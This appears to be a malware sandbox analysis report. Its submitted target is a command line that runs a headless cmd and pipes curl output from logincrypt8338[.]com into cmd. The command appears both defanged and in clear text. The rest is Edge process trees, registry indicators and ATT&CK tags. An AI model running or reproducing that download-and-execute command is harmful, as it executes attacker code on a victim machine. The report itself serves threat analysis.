hxxp://"C[:]\Windows\system32\conhost[.]exe" --headless cmd /v /c "set xp=https[:]&set zoj=[//]logincrypt8338[.]com/b?t=4myVxZ4k&for /f %d in ('where cu??[.]e??') do for /f %b in ('where cm?[.]e??') do %d --proxy-negotiate -U [:] -s !xp!!zoj!| %b"

Resubmissions

10/09/2026, 18:55

260910-xk7d4axscz4

10/09/2026, 18:53

260910-xj48cavbjf4

Analysis

user interaction
yes
max time kernel
66s
max time network
67s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 18:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://"C:\Windows\system32\conhost.exe" --headless cmd /v /c "set xp=https:&set zoj=//logincrypt8338.com/b?t=4myVxZ4k&for /f %d in ('where cu??.e??') do for /f %b in ('where cm?.e??') do %d --proxy-negotiate -U : -s !xp!!zoj!| %b"
Sample260910-xj48cavbjf

Score

4^/10

discovery

Malware Config

Signatures

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\1380_13433540046362064_1380.pma	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\throttle_store.dat	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\metadata	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\throttle_store.dat	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\metadata	setup.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\7217c683-3d91-4e61-9b07-21b4d023dd49.tmp	setup.exe
File opened for modification	C:\Program Files\msedge_installer.log	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\3780_13433540046405337_3780.pma	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\throttle_store.dat	setup.exe
File opened for modification	C:\Program Files\msedge_installer.log	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\throttle_store.dat	setup.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\cda59dda-5b0a-479f-b042-883f1a00aa2b.tmp	setup.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4132	msedge.exe
1800	msedge.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134335400461075533"	msedge.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-668679576-120646659-2289335452-1000\{87675AE1-575A-4066-B121-CF84A5C02CD0}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 23 IoCs

pid	Process
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
3676	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe

Suspicious use of SendNotifyMessage 34 IoCs

pid	Process
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe
4508	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4508 wrote to memory of 3164	4508	msedge.exe	86
PID 4508 wrote to memory of 4132	4508	msedge.exe	87
PID 4508 wrote to memory of 3244	4508	msedge.exe	88
PID 4508 wrote to memory of 3244	4508	msedge.exe	88
PID 4508 wrote to memory of 3244	4508	msedge.exe	88
PID 4508 wrote to memory of 820	4508	msedge.exe	89
PID 4508 wrote to memory of 820	4508	msedge.exe	89
PID 4508 wrote to memory of 3672	4508	msedge.exe	90
PID 4508 wrote to memory of 3468	4508	msedge.exe	91
PID 4508 wrote to memory of 3672	4508	msedge.exe	90
PID 4508 wrote to memory of 3672	4508	msedge.exe	90
PID 4508 wrote to memory of 3468	4508	msedge.exe	91
PID 4508 wrote to memory of 3468	4508	msedge.exe	91
PID 4508 wrote to memory of 3508	4508	msedge.exe	92
PID 4508 wrote to memory of 4756	4508	msedge.exe	93
PID 4508 wrote to memory of 2352	4508	msedge.exe	94
PID 4508 wrote to memory of 1452	4508	msedge.exe	95
PID 4508 wrote to memory of 1228	4508	msedge.exe	96
PID 4508 wrote to memory of 2040	4508	msedge.exe	97
PID 4508 wrote to memory of 2036	4508	msedge.exe	98
PID 4508 wrote to memory of 756	4508	msedge.exe	109
PID 4508 wrote to memory of 5064	4508	msedge.exe	100
PID 4508 wrote to memory of 1060	4508	msedge.exe	101
PID 4508 wrote to memory of 3528	4508	msedge.exe	102
PID 4508 wrote to memory of 980	4508	msedge.exe	103
PID 4508 wrote to memory of 1528	4508	msedge.exe	104
PID 4508 wrote to memory of 1452	4508	msedge.exe	95
PID 4508 wrote to memory of 1452	4508	msedge.exe	95
PID 4508 wrote to memory of 1228	4508	msedge.exe	96
PID 4508 wrote to memory of 1228	4508	msedge.exe	96
PID 4508 wrote to memory of 2040	4508	msedge.exe	97
PID 4508 wrote to memory of 2040	4508	msedge.exe	97
PID 4508 wrote to memory of 2036	4508	msedge.exe	98
PID 4508 wrote to memory of 2036	4508	msedge.exe	98
PID 4508 wrote to memory of 756	4508	msedge.exe	109
PID 4508 wrote to memory of 756	4508	msedge.exe	109
PID 4508 wrote to memory of 5064	4508	msedge.exe	100
PID 4508 wrote to memory of 5064	4508	msedge.exe	100
PID 4508 wrote to memory of 1060	4508	msedge.exe	101
PID 4508 wrote to memory of 1060	4508	msedge.exe	101
PID 4508 wrote to memory of 3528	4508	msedge.exe	102
PID 4508 wrote to memory of 3528	4508	msedge.exe	102
PID 4508 wrote to memory of 980	4508	msedge.exe	103
PID 4508 wrote to memory of 980	4508	msedge.exe	103
PID 4508 wrote to memory of 1528	4508	msedge.exe	104
PID 4508 wrote to memory of 1528	4508	msedge.exe	104
PID 4508 wrote to memory of 2676	4508	msedge.exe	105
PID 4508 wrote to memory of 2676	4508	msedge.exe	105
PID 4508 wrote to memory of 2676	4508	msedge.exe	105
PID 4508 wrote to memory of 4728	4508	msedge.exe	108
PID 4508 wrote to memory of 4728	4508	msedge.exe	108
PID 4508 wrote to memory of 4728	4508	msedge.exe	108
PID 4508 wrote to memory of 756	4508	msedge.exe	109
PID 4508 wrote to memory of 756	4508	msedge.exe	109
PID 4508 wrote to memory of 3300	4508	msedge.exe	110
PID 4508 wrote to memory of 3300	4508	msedge.exe	110
PID 4508 wrote to memory of 2412	4508	msedge.exe	112
PID 4508 wrote to memory of 3780	4508	msedge.exe	113
PID 3780 wrote to memory of 1372	3780	setup.exe	114
PID 3780 wrote to memory of 1380	3780	setup.exe	115
PID 1380 wrote to memory of 2732	1380	setup.exe	116
PID 4508 wrote to memory of 4796	4508	msedge.exe	118
PID 4508 wrote to memory of 4796	4508	msedge.exe	118
PID 4508 wrote to memory of 4796	4508	msedge.exe	118

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://"C:\Windows\system32\conhost.exe" --headless cmd /v /c "set xp=https:&set zoj=//logincrypt8338.com/b?t=4myVxZ4k&for /f %d in ('where cu??.e??') do for /f %b in ('where cm?.e??') do %d --proxy-negotiate -U : -s !xp!!zoj!| %b"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4508240667125\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x24c,0x7ffb8e8cc188,0x7ffb8e8cc194,0x7ffb8e8cc1a0
  2⤵
  PID:3164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1876,i,15533295346455161020,15551678559773290087,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1744,i,10569249578361856049,16433571421477198333,262144 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=2324 /prefetch:2
  2⤵
  PID:3244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2484,i,2991260295405323783,17428935566270001209,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=2588 /prefetch:8
  2⤵
  PID:820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3388,i,14490840496248366385,6307040076747727602,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
  2⤵
  PID:3672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3420,i,7739513531531029722,9246268156565771155,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:1
  2⤵
  PID:3468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4124,i,13973617375192213700,15429448710087486649,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:8
  2⤵
  PID:3508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4132,i,13477511493900562667,204875182929886352,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:8
  2⤵
  PID:4756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4136,i,13916681862318993587,47455945863280688,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:8
  2⤵
  PID:2352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4220,i,16452183565482131779,5923072477645100936,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:1
  2⤵
  PID:1452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4232,i,7605237016827927209,11881032656279381714,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=4524 /prefetch:2
  2⤵
  PID:1228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=4244,i,13382396665956750607,6056099204181856166,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:1
  2⤵
  PID:2040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=4304,i,17827624340112087292,159295585228702209,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:2
  2⤵
  PID:2036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=4284,i,12971516928813301501,12925486005370524483,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:1
  2⤵
  PID:756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=4316,i,10093284812441723352,310522743381478399,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:2
  2⤵
  PID:5064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=4356,i,16085300305189345821,1774303301268166472,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:1
  2⤵
  PID:1060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=4380,i,16352331443447346640,13350104889444363115,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:2
  2⤵
  PID:3528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4404,i,3145913963752272306,1536965975106886871,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:1
  2⤵
  PID:980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4412,i,659909804012926683,533104483893413903,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:2
  2⤵
  PID:1528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=5396,i,5411324905361238862,4816058212306628061,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:1
  2⤵
  PID:2676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=3460,i,16371821402431664033,4796278042743834033,2097152 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
  2⤵
  PID:4728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4548,i,4612229928761619670,13341777037343417497,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:8
  2⤵
  PID:756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4252,i,14296722553321181342,10086400812617676262,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:8
  2⤵
  PID:3300
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5636,i,15500130541016214905,11849477228600264148,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:8
  2⤵
  PID:1852
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5636,i,15500130541016214905,11849477228600264148,524288 --field-trial-handle=2328,i,13932502907969293232,3990511494444958925,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:8
  2⤵
  PID:2412
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x20c,0x210,0x214,0x1e8,0x218,0x7ff7def604c8,0x7ff7def604d4,0x7ff7def604e0
    3⤵
    - Drops file in Program Files directory
    PID:1372
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --msedge --system-level --verbose-logging --installerdata="C:\Program Files (x86)\Microsoft\Edge\Application\master_preferences" --create-shortcuts=1 --install-level=0
    3⤵
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x20c,0x210,0x214,0x1e8,0x218,0x7ff7def604c8,0x7ff7def604d4,0x7ff7def604e0
      4⤵
      Drops file in Program Files directory
      PID:2732
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
